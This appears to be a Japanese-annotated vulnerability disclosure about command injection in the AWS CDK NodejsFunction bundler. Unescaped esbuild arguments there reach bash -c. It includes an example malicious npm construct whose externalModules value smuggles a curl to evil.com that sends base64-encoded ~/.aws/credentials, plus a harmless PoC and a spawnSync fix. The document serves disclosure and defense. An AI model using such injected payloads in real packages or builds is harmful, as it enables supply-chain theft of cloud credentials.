// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (パッチ前)
const esbuildCommand: string[] = [
  options.esbuildRunner,
  '--bundle', `"${relativeEntryPath}"`,
  `--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
  '--platform=node',
  ...this.externals.map(external => `--external:${external}`),           // エスケープなし
  ...loaders.map(([ext, name]) => `--loader:${ext}=${name}`),            // エスケープなし
  ...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // キーがエスケープされていない
  ...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [],   // エスケープなし
  ...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [],         // エスケープなし
];

// 結合されたコマンドは直接 OS シェルに渡される
exec(
  osPlatform === 'win32' ? 'cmd' : 'bash',
  [osPlatform === 'win32' ? '/c' : '-c', localCommand],
  { /* ... */ }
);

// "convenient-lambda" として npm に公開
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';

export class ConvenientLambda extends NodejsFunction {
  constructor(scope, id, props) {
    super(scope, id, {
      ...props,
      bundling: {
        ...props.bundling,
        externalModules: [
          ...(props.bundling?.externalModules ?? []),
          // 正規の external の中に隠されたペイロード
          'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
        ],
      },
    });
  }
}

npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)

mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts

import * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';

class PoCStack extends Stack {
  constructor(scope, id) {
    super(scope, id);
    new NodejsFunction(this, 'Fn', {
      entry: path.join(__dirname, 'lambda', 'handler.ts'),
      runtime: Runtime.NODEJS_20_X,
      bundling: {
        externalModules: ['foo & echo PWNED > pwned.txt'],
      },
    });
  }
}

const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();

npx ts-node app.ts

cat pwned.txt
# 出力: PWNED

- // 修正前: シェル解釈されるコマンド文字列
- exec('bash', ['-c', esbuildCommand.join(' ')]);

+ // 修正後: 直接の引数配列（シェル解釈なし）
+ spawnSync(command, args, { /* no shell */ });